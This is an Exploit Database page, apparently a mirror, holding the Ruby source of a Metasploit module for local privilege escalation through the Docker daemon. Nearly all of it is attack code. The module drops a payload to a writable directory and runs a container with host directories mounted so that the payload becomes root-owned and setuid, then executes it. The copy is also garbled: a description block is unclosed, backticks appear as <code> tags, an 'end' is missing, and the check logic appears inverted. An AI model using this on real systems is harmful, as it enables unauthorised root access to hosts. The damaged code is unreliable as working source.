Docker Daemon – Local Privilege Escalation (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2016-09-19
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/40394/

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info={})

super(update_info(info, {

'Name' => 'Docker Daemon Privilege Escalation',

'Description'=> %q{

This module obtains root privileges from any host account with access to the

Docker daemon. Usually this includes accounts in the <code>docker</code> group.

'License'=> MSF_LICENSE,

'Author' => ['forzoni'],

'DisclosureDate' => 'Jun 28 2016',

'Platform' => 'linux',

'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],

'Targets'=> [ ['Automatic', {}] ],

'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },

'SessionTypes' => ['shell', 'meterpreter'],

'DefaultTarget'=> 0

}

))

register_advanced_options([

OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])

], self.class)

end

def check

if cmd_exec('docker ps && echo true') == 'true'

print_error("Failed to access Docker daemon.")

Exploit::CheckCode::Safe

else

Exploit::CheckCode::Vulnerable

end

def exploit

pl = generate_payload_exe

exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"

print_status("Writing payload executable to '#{exe_path}'")

write_file(exe_path, pl)

register_file_for_cleanup(exe_path)

print_status("Executing script to create and run docker container")

vprint_status cmd_exec("chmod +x #{exe_path}")

vprint_status shell_script(exe_path)

vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")

print_status "Waiting #{datastore['WfsDelay']}s for payload"

end

def shell_script(exploit_path)

deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]

dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")

%Q{

IMG=<code>(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"

EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"

docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"

docker rmi -f $IMG

#{exploit_path}

}.strip.split("\n").map(&:strip).join(';')

end